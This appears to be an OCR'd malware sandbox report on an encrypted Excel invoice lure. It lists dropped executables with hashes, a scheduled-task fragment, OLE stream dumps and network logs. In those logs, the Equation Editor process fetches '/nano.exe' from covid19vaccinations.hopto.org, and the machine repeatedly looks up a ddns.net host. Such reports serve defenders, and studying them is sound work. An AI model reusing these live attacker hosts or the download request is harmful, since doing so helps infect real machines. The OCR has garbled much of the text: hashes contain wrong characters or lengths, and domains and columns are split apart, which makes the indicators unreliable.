<Userld>user-PCluser</Userld>.. ~</LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>user-PC\user</Userld>..  <LogonType>InteractiveToken</LogonType>.. = <RunLevel>LeastPrivilege</RunLevel>.. </Princi
pal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultiplelnstancesPolicy>.. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatterie
s>.. <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. ~<StartWhenAvailable>true</StartWhenAvaila

ble>
Process: C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegSvcs.exe
File Type: 1SO-8859 text, with no line terminators
Category: dropped
Size (bytes): 8
Entropy (8bit): 3.0
Encrypted: false
SSDEEP: 3:ZQt:ZQt
MD5: EB829F44A04930C7C533538BB54E1B895
SHAL: 5E1258B6E344A4C819910875152DE566B84DDB77
SHA-256: 2D2583CF5175C659B83839F994E77A789E4309420DABBCFD9AD7C1F40BBAEBOO
SHA-512: A712E891465656E7068152ECA2560C4E3C34E46249510F509186AD31DE7F4D2AF8EC3A730F2116E65FF35C8D9183342C25C23A76AB7CESD8614217E4B3B19DA4C
Malicious: true
Preview:

RP....H

7€

Process: C:\Users\Public\vbc.exe
File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped
Size (bytes): 802304
Entropy (8bit): 7.807064216316379
Encrypted: false
SSDEEP: 12288:fqgPhNb1CpcOvs3YpRTYmuCBWhfCfyxmbKzYwafnJMKrXe3tw2luRVZzQKag:iPhxcpHUIpRTYO0cluyUeU3nIJMKoCaq
MD5: A3CBEB3E732B11954572B3EE6755242C
SHAL: EBB41B49DE8F1B09EA20DABFFCFD85B93B68D7F3
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SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

E006460AD1E34DDBBC28430C2D529A7EE491893C7AE8B6902B2D8D8C56620510
455C3CAE5F85B8F3334004E09C5EF42BB6E8410F7501AEFOD520E1023EB376E31D6FA892DAB8DCBAAEA94914F31EC7915E8424362F1046F25F9B55C58EF94BD!
true

e Antivirus: Joe Sandbox ML, Detection: 100%

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/IFFDIW2fj/FFDJIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8BAC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

.user LALDUS user JAlbuso oo

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

802304

7.807064216316379

false

12288:fqgPhNb1CpcOvs3YpRTYmuCBWhfCfyxmbKzYwafnJMKrXe3tw2luRVZzQKag:iPhxcpHUIpRTYO0cluyUeU3nJMKoCaq

A3CBEB3E732B11954572B3EE6755242C

EBB41B49DE8F1B09EA20DABFFCFD85B93B68D7F3

E006460AD1E34DDBBC28430C2D529A7EE491893C7AE8B6902B2D8D8C56620510
455C3CAE5F85B8F3334004E09C5EF42BB6ES410F7501AEFOD520E1023EB376E31D6FA892DAB8DCBAAEA94914F31EC7915E8424362F1046F25F9B55C58EF94BD!

true

e Antivirus: Joe Sandbox ML, Detection: 100%

Static File Info

General
File type:

Entropy (8bit):

TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

CDFV2 Encrypted
7.996512042903542

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

SOL2021-03-14-NETC-NI-21-049-CEVA INV.xlsx
2355200

216f2652001700d1f7ac1109a508ce2d
82d3a0b7bb096d03f9fla4de5444¢216849d576b

9b393f90c5fabaabf671d0f80a9ee0e4f44330cd3eelddcO
d9066f978d9435ff
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General

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "SOL2021-03-14-NETC-NI-21-049-CEVA INV.xIsx"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Streams

e854221d2c4992565e49577f3d31753916088fa6c022f23
d956e68d1964b15fc95095d35cc7f016e3decf8773fb184
b9fb15aa4bdfa9b136b0284c1291a7a6dc

49152:RgiTzvPAADDb9t8qo8hcgu9iMi7SFIMYb9QRmM
13KFQtWLK:RIVPAAXhZaZX9iv7C10QQcqwO

ede2aaBaadb4bcb4

OLE

False
unknown
True
False
False
False

False

False

Stream Path: \x6DataSpaces/DataSpacelnfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x6DataSpaces/DataSpacelnfo/StrongEncryptionDataSpace

data

64

2.73637206947

False

........ 2...S.t.r.o.n.g.E.n.c.r.y.p.t.i.o.n.T.r.a.n.s.f.o.r.m...

08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00
7200 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00
6d 00 00 00

\x6DataSpaces/DataSpaceMap
data

112

2.7597816111

False

........ h........... ...E.n.c.r.y.p.t.e.d.P.a.c.k.a.g.e.2...S.t.r.c
.n.g.E.n.c.r.y.p.t.i.o.n.D.a.t.a.S.p.a.c.e...

08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00
7200 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00
5300 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00
6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/Transforminfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size:

200
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2333048

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Encryptioninfo, File Type: data, Stream Size: 224

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

Network Port Distribution

Copyright Joe Security LLC 2021

\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
data

200

3.13335930328

False

X L...{.F.F.9.A.3.F.0.3.-.5.6.E.F.-.4.6.1.3.-.B.D.D.5.-

5.A.4.1.C.1.D.0.7.2.4.6.}.N...M.i.c.r.o.s.o.f.t...C.o.n.t.a.i.n
e.r...E.n.c.r.y.p.t.i,o.n.T.r.a.n.s.f.o.r.m........... ... ...

58 00 00 00 01 00 00 00 4c 00 00 00 7h 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00
2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00
2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00
00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61
00 69 00 6e 00 65 00

\x6DataSpaces/Version
data

76

2.79079600998

False

<...M.i.c.r.o.s.o.f.t...C.o.n.t.a.i.n.e.r...D.a.t.a.S.p.a.c.e.s.

3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74
00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65
00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

EncryptedPackage
data

2333048
7.9998366813

True

ho#.o.o..... ?2.@.H.& 5..).8{ T=...P.|B.K...OxfK %.?.-.}Z
Trsv > J..?2>. ... J..?2>. .. .. J..?>
J..?>. 0 J..?>0 0L J..?>0 J..?> J..?>

68 99 23 00 00 00 00 00 ef af 3f 88 40 98 48 be 26 85 06 9f ac 35 e5 7 29 f9 24 7b e7 8e a0
54 3d ef c0 be 50 d2 7c 42 7 4b d4 07 6 4f 78 66 4b b4 {3 f4 25 ¢2 3f 95 2d 16 7d 5a 88 Ob 18
54 72 5356 13 20 0d 1d da 3e 03 90 e4 19 0b 81 19 e7 a4 c8 aa 4a fb 11 3f 3e 03 90 e4 19
Ob 81 19 e7 a4 c8 aa 4afb 11 3f 3e 03 90 e4 19 Ob 81 19 e7 a4 c8 aa 4a fb 11 3f 3e 03 90 e4
190b 81 19

Encryptioninfo

data

224

4.52599239953

False

R $... o M.i.c.r.o.s.o.f.t. .E.n.h.,
.n.c.e.d. .R.S.A. .a.n.d. . A.E.S. .C.r.y.p.t.o.g.r.a.p.h.i.c.
P.r.o.v.i.d.e.r....... 2.a...D.d A<~ . .. ... ~ K.[.B.6

04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 Oe 66 00 00 04 80 00 00 80 00
00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00
74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00
61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00
72006100 70 00 68 00
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Total Packets: 61

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Apr 12, 2021 08:02:43.703808069 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:43.865977049 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:43.866086006 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:43.867336988 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.030188084 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.030231953 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.030258894 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.030287027 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.030385017 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.030462027 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.195743084 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.195807934 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.195846081 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.195899963 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.195945978 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.195990086 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.195991039 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.196031094 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.196053028 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.196073055 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.196085930 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.196120024 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358494997 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358552933 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358603954 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358632088 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358642101 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358683109 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358721018 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358727932 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358745098 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358753920 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358760118 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358779907 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358800888 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358839989 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358848095 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358855963 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358891964 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358916998 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358932018 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.358948946 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.358973026 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.359003067 CEST 49167 80 192.168.2.22 13.235.115.155
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 12, 2021 08:02:44.359013081 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.359050035 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.359052896 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.359066963 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.359092951 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.359131098 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.359133005 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.359153986 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.359189987 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.361517906 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521454096 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521497011 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521533012 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521569967 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521605015 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521632910 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521653891 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521672010 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521681070 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521697044 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521711111 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521727085 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521747112 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521756887 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521785021 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521787882 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521822929 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521833897 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521863937 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521867037 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521907091 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521918058 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521943092 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521946907 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.521979094 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.521991968 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522015095 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522020102 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522051096 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522052050 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522087097 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522100925 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522123098 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522130966 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522156954 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522167921 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522207022 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522217989 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522243977 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522245884 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522279978 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522290945 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522315979 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522327900 CEST 49167 80 192.168.2.22 13.235.115.155
Apr 12, 2021 08:02:44.522351980 CEST 80 49167 13.235.115.155 192.168.2.22
Apr 12, 2021 08:02:44.522356987 CEST 49167 80 192.168.2.22 13.235.115.155

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Apr 12, 2021 08:02:43.628073931 CEST 52197 53 192.168.2.22 8.8.8.8
Apr 12, 2021 08:02:43.688879967 CEST 53 52197 8.8.8.8 192.168.2.22
Apr 12, 2021 08:03:52.190840960 CEST 53099 53 192.168.2.22 8.8.8.8
Apr 12, 2021 08:03:52.249336958 CEST 53 53099 8.8.8.8 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 12, 2021 08:03:52.249811888 CEST 53099 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:03:52.298599958 CEST 53 53099 8.8.8.8 192.168.2.22

Apr 12, 2021 08:03:52.364267111 CEST 52838 53 192.168.2.22 8.8.4.4

Apr 12, 2021 08:03:52.421586990 CEST 53 52838 8.8.4.4 192.168.2.22

Apr 12, 2021 08:03:52.441411972 CEST 61200 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:03:52.500174999 CEST 53 61200 8.8.8.8 192.168.2.22

Apr 12, 2021 08:03:52.500545025 CEST 61200 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:03:52.557529926 CEST 53 61200 8.8.8.8 192.168.2.22

Apr 12, 2021 08:03:56.612014055 CEST 49548 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:03:56.674223900 CEST 53 49548 8.8.8.8 192.168.2.22

Apr 12, 2021 08:03:56.714565992 CEST 55627 53 192.168.2.22 8.8.4.4

Apr 12, 2021 08:03:56.774833918 CEST 53 55627 8.8.4.4 192.168.2.22

Apr 12, 2021 08:03:56.792395115 CEST 56009 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:03:56.841265917 CEST 53 56009 8.8.8.8 192.168.2.22

Apr 12, 2021 08:03:56.842029095 CEST 56009 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:03:56.903650045 CEST 53 56009 8.8.8.8 192.168.2.22

Apr 12, 2021 08:03:56.904478073 CEST 56009 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:03:56.961539030 CEST 53 56009 8.8.8.8 192.168.2.22

Apr 12, 2021 08:04:00.988939047 CEST 61865 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:04:01.047529936 CEST 53 61865 8.8.8.8 192.168.2.22

Apr 12, 2021 08:04:01.081367016 CEST 55171 53 192.168.2.22 8.8.4.4

Apr 12, 2021 08:04:01.139133930 CEST 53 55171 8.8.4.4 192.168.2.22

Apr 12, 2021 08:04:01.156198025 CEST 52496 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:04:01.204818964 CEST 53 52496 8.8.8.8 192.168.2.22

Apr 12, 2021 08:04:01.205420017 CEST 52496 53 192.168.2.22 8.8.8.8

Apr 12, 2021 08:04:01.264777899 CEST 53 52496 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Apr 12, 2021 08:02:43.628073931 CEST 192.168.2.22 8.8.8.8 0xa07b Standard query  covid19vac A (IP address) IN (0x0001)
0) cinations.

hopto.org

Apr 12, 2021 08:03:52.190840960 CEST 192.168.2.22 8.8.8.8 0xe55 Standard query  nassirull5 A (IP address) IN (0x0001)
(0) 5.ddns.net

Apr 12, 2021 08:03:52.249811888 CEST 192.168.2.22 8.8.8.8 0xe55 Standard query  nassirull5 A (IP address) IN (0x0001)
(0) 5.ddns.net

Apr 12, 2021 08:03:52.364267111 CEST 192.168.2.22 8.8.4.4 0x63b2 Standard query  nassirull5 A (IP address) IN (0x0001)
(0) 5.ddns.net

Apr 12, 2021 08:03:52.441411972 CEST 192.168.2.22 8.8.8.8 0x34db Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

Apr 12, 2021 08:03:52.500545025 CEST 192.168.2.22 8.8.8.8 0x34db Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

Apr 12, 2021 08:03:56.612014055 CEST 192.168.2.22 8.8.8.8 0xf56¢ Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

Apr 12, 2021 08:03:56.714565992 CEST 192.168.2.22 8.8.4.4 Ox6bal Standard query  nassirull5 A (IP address) IN (0x0001)
(0) 5.ddns.net

Apr 12, 2021 08:03:56.792395115 CEST 192.168.2.22 8.8.8.8 Oxba3c Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

Apr 12, 2021 08:03:56.842029095 CEST 192.168.2.22 8.8.8.8 Oxba3c Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

Apr 12, 2021 08:03:56.904478073 CEST 192.168.2.22 8.8.8.8 Oxba3c Standard query  nassirull5s A (IP address) IN (0x0001)
(0) 5.ddns.net

Apr 12, 2021 08:04:00.988939047 CEST 192.168.2.22 8.8.8.8 Oxfela Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

Apr 12, 2021 08:04:01.081367016 CEST 192.168.2.22 8.8.4.4 Ox12ef Standard query  nassirull5 A (IP address) IN (0x0001)
(0) 5.ddns.net

Apr 12, 2021 08:04:01.156198025 CEST 192.168.2.22 8.8.8.8 0x9c51 Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

Apr 12, 2021 08:04:01.205420017 CEST 192.168.2.22 8.8.8.8 0x9c51 Standard query  nassirull5 A (IP address) IN (0x0001)
0) 5.ddns.net

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Apr 12, 2021 8.8.8.8 192.168.2.22 0xa07b No error (0) covid1l9vac 13.235.115.155 A (IP address) IN (0x0001)

08:02:43.688879967 cinations.

CEST hopto.org
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Timestamp Source IP Dest IP

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:52.249336958
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:52.298599958
CEST

Apr 12, 2021 8.8.4.4 192.168.2.22
08:03:52.421586990
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:52.500174999
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:52.557529926
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:56.674223900
CEST

Apr 12, 2021 8.8.4.4 192.168.2.22
08:03:56.774833918
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:56.841265917
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:56.903650045
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:03:56.961539030
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:04:01.047529936
CEST

Apr 12, 2021 8.8.4.4 192.168.2.22
08:04:01.139133930
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:04:01.204818964
CEST

Apr 12, 2021 8.8.8.8 192.168.2.22
08:04:01.264777899
CEST

HTTP Request Dependency Graph

e covidl9vaccinations.hopto.org

HTTP Packets

Trans |

0xe55

0xe55

0x63b2

0x34db

0x34db

0xf56¢

Ox6bal

Oxba3c

Oxba3c

Oxba3c

Oxfela

0Ox12ef

0x9c51

0x9c51

Session ID Source IP Source Port

0 192.168.2.22 49167

kBytes

Timestamp transferred Direction

Apr 12, 2021 0 ouT
08:02:43.867336988 CEST

Copyright Joe Security LLC 2021

D Reply Code

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Name error (3)

Destination IP Destination Port Process

13.235.115.155 80

Data

GET /nano.exe HTTP/1.1
Accept: */*

Name

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5s
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

nassirull5
5.ddns.net

CName

none

none

none

none

none

none

none

none

none

none

none

none

none

none

Address

none

none

none

none

none

none

none

none

none

none

none

none

none

none

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: covid19vaccinations.hopto.org

Connection: Keep-Alive
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kBytes

Timestamp transferred
Apr 12,2021 2
08:02:44.030188084 CEST

Code Manipulations

Statistics

Behavior

System Behavior

Copyright Joe Security LLC 2021

Direction

IN

Click to jump to process

Data

HTTP/1.1 200 OK

Date: Mon, 12 Apr 2021 06:02:45 GMT

Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.4.16

Last-Modified: Mon, 12 Apr 2021 05:41:25 GMT

ETag: "c3e00-5bfbfféea5e4b”

Accept-Ranges: bytes

Content-Length: 802304

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
